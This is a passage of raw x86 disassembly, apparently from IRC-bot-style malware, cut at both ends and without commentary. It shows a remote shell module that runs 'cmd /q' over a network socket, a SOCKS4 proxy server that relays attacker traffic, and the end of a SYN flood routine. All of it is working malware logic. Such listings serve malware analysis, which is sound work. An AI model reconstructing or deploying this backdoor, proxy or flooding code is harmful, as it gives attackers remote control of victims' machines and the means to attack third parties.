ds:dword_4942E0 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_44B758 ; closesocket push esi call sub_417480 pop ecx push 1 pop eax loc_4142B8: ; CODE XREF: sub_41416C+A7j pop edi pop esi pop ebx leave retn sub_41416C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BD proc near ; CODE XREF: sub_41416C+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_416A10 mov esi, eax pop ecx cmp esi, edi jz loc_4143A7 mov ebx, ds:dword_4943E8 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, ds:dword_4942E0 test eax, eax jnz short loc_414320 call ds:dword_4942F0 push eax push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdou"... jmp short loc_414340 ; --------------------------------------------------------------------------- loc_414320: ; CODE XREF: sub_4142BD+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_414348 call ds:dword_4942F0 push eax push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to create shell stdin"... loc_414340: ; CODE XREF: sub_4142BD+61j call sub_403655 pop ecx jmp short loc_414376 ; --------------------------------------------------------------------------- loc_414348: ; CODE XREF: sub_4142BD+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4143B6 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_4143AB push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to execute shell." call sub_4035E1 loc_414376: ; CODE XREF: sub_4142BD+89j cmp [ebp+var_4], 0 pop ecx jz short loc_414382 push [ebp+var_4] call edi loc_414382: ; CODE XREF: sub_4142BD+BEj cmp [ebp+var_8], 0 jz short loc_41438D push [ebp+var_8] call edi loc_41438D: ; CODE XREF: sub_4142BD+C9j mov eax, [esi] test eax, eax jz short loc_414396 push eax call edi loc_414396: ; CODE XREF: sub_4142BD+D4j mov eax, [esi+4] test eax, eax jz short loc_4143A0 push eax call edi loc_4143A0: ; CODE XREF: sub_4142BD+DEj push esi call sub_417480 pop ecx loc_4143A7: ; CODE XREF: sub_4142BD+1Dj xor eax, eax jmp short loc_4143B1 ; --------------------------------------------------------------------------- loc_4143AB: ; CODE XREF: sub_4142BD+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4143B1: ; CODE XREF: sub_4142BD+ECj pop edi pop esi pop ebx leave retn sub_4142BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B6 proc near ; CODE XREF: sub_4142BD+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_4189A0 push 10h lea eax, [ebp+var_14] push esi push eax call sub_4189A0 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_494290 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call ds:dword_4943E4 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_494330 test eax, eax jz short loc_414472 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_44D060[eax], ecx call ds:dword_4942E0 jmp short loc_414488 ; --------------------------------------------------------------------------- loc_414472: ; CODE XREF: sub_4143B6+9Aj call ds:dword_4942F0 push eax push offset aRlogindFaile_7 ; "[RLOGIND]: Failed to execute shell, err"... call sub_403655 mov esi, [ebp+var_4] pop ecx pop ecx loc_414488: ; CODE XREF: sub_4143B6+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4143B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41448F proc near ; DATA XREF: sub_41416C+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4942DC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_4144B8: ; CODE XREF: sub_41448F+8Fj call ebx test eax, eax jz short loc_414520 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_4144F3 loc_4144C9: ; CODE XREF: sub_41448F+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_4144E3 cmp dl, 0Dh jz short loc_4144E3 mov [ebp+eax+var_1B0], 0Dh inc eax loc_4144E3: ; CODE XREF: sub_41448F+44j ; sub_41448F+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_4144C9 loc_4144F3: ; CODE XREF: sub_41448F+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_44B710 ; send test eax, eax jle short loc_414520 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_414520: ; CODE XREF: sub_41448F+2Dj ; sub_41448F+79j mov esi, ds:dword_4942F0 call esi cmp eax, 6Dh jz short loc_41453C call esi push eax push offset aRlogindSession ; "[RLOGIND]: SessionReadShellThread exite"... call sub_403655 pop ecx pop ecx loc_41453C: ; CODE XREF: sub_41448F+9Cj pop edi pop esi pop ebx leave retn sub_41448F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414541 proc near ; DATA XREF: sub_41416C+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp loc_414544: ; DATA XREF: .data:004438C0o sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_41455A: ; CODE XREF: sub_414541+39j ; sub_414541+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_44B6D8 ; recv test eax, eax jle loc_41465F cmp [ebp+var_10], ebx jbe short loc_41457C dec [ebp+var_10] jmp short loc_41455A ; --------------------------------------------------------------------------- loc_41457C: ; CODE XREF: sub_414541+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_41463F cmp al, 8 mov [ebp+var_C], ebx jz short loc_4145EC cmp al, 7Fh jz short loc_4145EC cmp al, 3 jnz short loc_4145A7 push ebx push ebx call ds:dword_494400 jmp short loc_414613 ; --------------------------------------------------------------------------- loc_4145A7: ; CODE XREF: sub_414541+5Aj cmp al, 15h jnz short loc_4145C9 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_4145FF ; --------------------------------------------------------------------------- loc_4145C9: ; CODE XREF: sub_414541+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_414600 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_4145FF ; --------------------------------------------------------------------------- loc_4145EC: ; CODE XREF: sub_414541+52j ; sub_414541+56j cmp esi, ebx jbe short loc_414616 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_4145FF: ; CODE XREF: sub_414541+86j ; sub_414541+A9j pop ecx loc_414600: ; CODE XREF: sub_414541+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_44B710 ; send test eax, eax jle short loc_41465F loc_414613: ; CODE XREF: sub_414541+64j mov al, byte ptr [ebp+arg_0+3] loc_414616: ; CODE XREF: sub_414541+ADj cmp al, 0Dh jnz loc_41455A lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4942E4 test eax, eax jz short loc_41465F xor esi, esi jmp loc_41455A ; --------------------------------------------------------------------------- loc_41463F: ; CODE XREF: sub_414541+47j cmp [ebp+var_C], ebx jnz short loc_414650 mov [ebp+var_C], 1 jmp loc_41455A ; --------------------------------------------------------------------------- loc_414650: ; CODE XREF: sub_414541+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_41455A ; --------------------------------------------------------------------------- loc_41465F: ; CODE XREF: sub_414541+2Bj ; sub_414541+D0j ... pop edi pop esi pop ebx leave retn sub_414541 endp ; =============== S U B R O U T I N E ======================================= sub_414664 proc near ; CODE XREF: sub_414684+Ap ; sub_41475C+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418E70 push [esp+8+arg_4] mov esi, eax call sub_418E70 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_414664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414684 proc near ; CODE XREF: sub_414773+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_414664 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_4146A1 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4146A1: ; CODE XREF: sub_414684+17j push ebx push esi push edi push [ebp+arg_8] call sub_418E70 push [ebp+arg_C] mov esi, eax call sub_418E70 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4424F0, eax lea eax, [edi+1] mov dword_442511, eax lea eax, [edi+17h] mov dword_442509, eax pop eax push 74h sub eax, edi push offset dword_44248C push ebx mov dword_44251F, eax call sub_418A00 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_418A00 add esi, 74h push 5 push offset aGet_1 ; " get " lea eax, [esi+ebx] push eax call sub_418A00 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_418A00 add esi, edi push 10h push 442505h lea eax, [esi+ebx] push eax call sub_418A00 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_418A00 add esi, edi push 38h add esi, ebx push offset byte_442515 push esi call sub_418A00 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_414684 endp ; =============== S U B R O U T I N E ======================================= sub_41475C proc near ; CODE XREF: sub_414773+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_414664 push eax call sub_4147E0 add esp, 0Ch retn sub_41475C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414773 proc near ; CODE XREF: sub_40119E+32p ; .text:00401824p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_41475C cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_414793 cmp eax, 0FFFFh jbe short loc_414797 loc_414793: ; CODE XREF: sub_414773+17j xor eax, eax jmp short loc_4147DC ; --------------------------------------------------------------------------- loc_414797: ; CODE XREF: sub_414773+1Ej push esi push edi push ebx call sub_414664 add eax, 101h push eax call sub_416A10 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_414664 pop ecx pop ecx push eax push esi call sub_414684 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_4147FB push esi mov edi, eax call sub_417480 add esp, 24h mov eax, edi pop esi loc_4147DC: ; CODE XREF: sub_414773+22j pop edi pop ebx pop ebp retn sub_414773 endp ; =============== S U B R O U T I N E ======================================= sub_4147E0 proc near ; CODE XREF: sub_41475C+Ep ; sub_4147FB+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4147E9 inc ecx loc_4147E9: ; CODE XREF: sub_4147E0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4147E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147FB proc near ; CODE XREF: .text:00401849p ; sub_414773+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_414817 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_414817 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_414817 cmp byte ptr [ebp+arg_C], 0 jnz short loc_41481A loc_414817: ; CODE XREF: sub_4147FB+8j ; sub_4147FB+Ej ... inc [ebp+arg_C] loc_41481A: ; CODE XREF: sub_4147FB+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_414842 mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_41483B cmp al, 0Dh jz short loc_41483B cmp al, 5Ch jz short loc_41483B test al, al jnz short loc_414842 loc_41483B: ; CODE XREF: sub_4147FB+32j ; sub_4147FB+36j ... add [ebp+arg_C], 100h loc_414842: ; CODE XREF: sub_4147FB+28j ; sub_4147FB+3Ej push [ebp+arg_C] call sub_4147E0 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_41485A cmp eax, 0FFFFh jbe short loc_414861 loc_41485A: ; CODE XREF: sub_4147FB+56j xor eax, eax jmp loc_4148FF ; --------------------------------------------------------------------------- loc_414861: ; CODE XREF: sub_4147FB+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_492010 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_414891 loc_414875: ; CODE XREF: sub_4147FB+94j mov al, [edx+edi] xor al, bl jz short loc_414888 cmp al, 0Ah jz short loc_414888 cmp al, 0Dh jz short loc_414888 cmp al, 5Ch jnz short loc_41488C loc_414888: ; CODE XREF: sub_4147FB+7Fj ; sub_4147FB+83j ... inc bl xor edx, edx loc_41488C: ; CODE XREF: sub_4147FB+8Bj inc edx cmp edx, ecx jb short loc_414875 loc_414891: ; CODE XREF: sub_4147FB+78j cmp ecx, esi mov byte_492010, bl ja short loc_4148BD push 15h push offset dword_442474 push [ebp+arg_0] mov byte_442481, cl mov byte_442485, bl call sub_418A00 add esp, 0Ch push 15h jmp short loc_4148DE ; --------------------------------------------------------------------------- loc_4148BD: ; CODE XREF: sub_4147FB+9Ej push 17h push offset dword_44245C push [ebp+arg_0] mov word_44246A, cx mov byte_44246F, bl call sub_418A00 add esp, 0Ch push 17h loc_4148DE: ; CODE XREF: sub_4147FB+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_4148FA mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_4148EC: ; CODE XREF: sub_4147FB+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_4148EC loc_4148FA: ; CODE XREF: sub_4147FB+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_4148FF: ; CODE XREF: sub_4147FB+61j pop esi leave retn sub_4147FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414902 proc near ; DATA XREF: sub_40C50A+5E83o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_4189A0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_44B6C0 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_44B740 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_44D064[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_44B6EC ; bind test eax, eax jnz loc_414AA4 push 0Ah push edi call dword_44B6E8 ; listen test eax, eax jnz loc_414AA4 push [ebp+var_40] push [ebp+var_D4] call sub_40AFEC pop ecx push eax lea eax, [ebp+var_2D4] push offset aSocks4Server_0 ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_418D70 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4149DD push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40842D add esp, 14h loc_4149DD: ; CODE XREF: sub_414902+B9j ; sub_414902+172j ... lea eax, [ebp+var_2D4] push eax call sub_4035E1 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_44B754 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_4161EB mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_44D05C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_414B07 push esi push esi call ds:dword_4942F4 mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_44D06C[ecx], eax jz short loc_414A84 loc_414A71: ; CODE XREF: sub_414902+180j cmp [ebp+var_28], esi jnz loc_4149DD push 5 call ds:dword_4942D8 jmp short loc_414A71 ; --------------------------------------------------------------------------- loc_414A84: ; CODE XREF: sub_414902+16Dj call ds:dword_4942F0 push eax lea eax, [ebp+var_2D4] push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"... push eax call sub_418D70 add esp, 0Ch jmp loc_4149DD ; --------------------------------------------------------------------------- loc_414AA4: ; CODE XREF: sub_414902+7Bj ; sub_414902+8Cj push edi call dword_44B758 ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_414AE7 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40842D add esp, 14h loc_414AE7: ; CODE XREF: sub_414902+1C3j lea eax, [ebp+var_2D4] push eax call sub_4035E1 push [ebp+var_3C] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi pop ebx sub_414902 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B07 proc near ; DATA XREF: sub_414902+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_44D064[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_44B6A8 ; select test eax, eax jnz short loc_414B88 push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414B88: ; CODE XREF: sub_414B07+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_44B6D8 ; recv test eax, eax jg short loc_414BB9 push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414BB9: ; CODE XREF: sub_414B07+98j cmp [ebp+var_4D0], 4 jnz loc_414DB3 cmp [ebp+var_4CF], 1 jnz loc_414DB3 cmp [ebp+var_44], bl jz short loc_414C4F lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_414C4F lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"... call sub_403655 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_4189A0 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44B710 ; send push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414C4F: ; CODE XREF: sub_414B07+CFj ; sub_414B07+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_4189A0 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_414CE7 call dword_44B654 ; WSAGetLastError push eax push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("... call sub_403655 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_4189A0 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44B710 ; send push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414CE7: ; CODE XREF: sub_414B07+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_44B668 ; connect cmp eax, 0FFFFFFFFh jnz short loc_414D56 call dword_44B654 ; WSAGetLastError push eax push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"... call sub_403655 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_4189A0 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44B710 ; send push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414D56: ; CODE XREF: sub_414B07+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_44B710 ; send push dword ptr [esi] push edi call sub_414DCB pop ecx pop ecx push edi call dword_44B758 ; closesocket push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_414DB3: ; CODE XREF: sub_414B07+B9j ; sub_414B07+C6j push dword ptr [esi] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push ebx call ds:dword_4942FC sub_414B07 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DCB proc near ; CODE XREF: sub_414B07+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_414DE1: ; CODE XREF: sub_414DCB+C5j ; sub_414DCB+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_414DF9: ; CODE XREF: sub_414DCB+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_414E09 inc ecx add eax, 4 cmp ecx, 1 jb short loc_414DF9 loc_414E09: ; CODE XREF: sub_414DCB+33j cmp ecx, 1 jnz short loc_414E1E mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_414E1E: ; CODE XREF: sub_414DCB+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_4189A0 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_44B6A8 ; select loc_414E40: ; DATA XREF: .data:004438ECo lea eax, [ebp+var_104] push eax push ebx call dword_44B5B8 ; __WSAFDIsSet test eax, eax jz short loc_414E7E push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_44B6D8 ; recv cmp eax, 0FFFFFFFFh jz short loc_414EC6 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_44B710 ; send cmp eax, 0FFFFFFFFh jz short loc_414EC6 loc_414E7E: ; CODE XREF: sub_414DCB+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_44B5B8 ; __WSAFDIsSet test eax, eax jz loc_414DE1 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_44B6D8 ; recv cmp eax, 0FFFFFFFFh jz short loc_414EC6 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_44B710 ; send cmp eax, 0FFFFFFFFh jnz loc_414DE1 loc_414EC6: ; CODE XREF: sub_414DCB+9Aj ; sub_414DCB+B1j ... pop edi pop esi pop ebx leave retn sub_414DCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414ECB proc near ; DATA XREF: sub_40C50A+390Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_415219 push eax lea eax, [ebp+var_414] push offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)." push eax call sub_418D70 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_414F48 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40842D add esp, 14h loc_414F48: ; CODE XREF: sub_414ECB+5Bj lea eax, [ebp+var_414] push eax call sub_4035E1 push [ebp+var_10] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi sub_414ECB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F67 proc near ; CODE XREF: sub_415219+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 